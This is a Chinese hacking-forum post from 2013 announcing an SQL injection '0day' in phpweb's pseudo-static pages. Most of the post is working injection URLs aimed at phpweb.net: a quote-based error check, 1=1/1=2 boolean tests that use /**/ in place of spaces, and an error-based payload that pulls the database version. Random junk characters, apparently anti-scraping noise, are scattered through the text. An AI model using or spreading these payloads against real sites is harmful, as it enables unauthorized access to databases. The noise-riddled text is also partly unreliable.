中国网络渗透测试联盟

标题: phpweb伪静态页面注入0day [打印本页]
作者: admin    时间: 2013-1-4 19:46
标题: phpweb伪静态页面注入0day
phpweb所有的整站程序伪静态页面都存在sql注入( ~5 {/ Y3 p0 k- J4 y  q

5 b1 ?* e2 m* V主站：http://phpweb.net/. f2 H, |. n8 q6 S( W/ [% O4 k! M
加’检测：
- u2 c/ [+ x3 T# p7 N) _5 z* d; q 9 Q- D2 i7 L9 A, t* b% J/ y
http://www.phpweb.net/down/html/?772′.html/ B# E* {7 I. P6 M
6 E! I* S% h; x+ q# E+ K
出错7 b8 T$ [9 {2 L% b+ Q' q
存在注入。4 \2 C" ?2 _5 y$ P
不能用空格，只能用/*罗
8 P- X7 K& T+ @" uhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常# b+ H! E4 L% @- O
  X- k! a/ g8 ?! ?
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.3 D/ _; s* F; Q( R! j4 [1 B
爆数据库版本：
  H4 B) J) p5 [$ n! B  ? 9 m' Z. c4 w& _  k6 p( t2 A$ s) p
?( [2 [" z$ ^# R8 d8 Z, ], B
1
6 [- H: [2 P8 x" K, q' W0 f" Lhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html! R. B+ N5 R9 ~9 F2 o
更新日期: 2013-01-03 13:39:50        
& W) x* e3 `- C4 Y5 O1 c. w



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2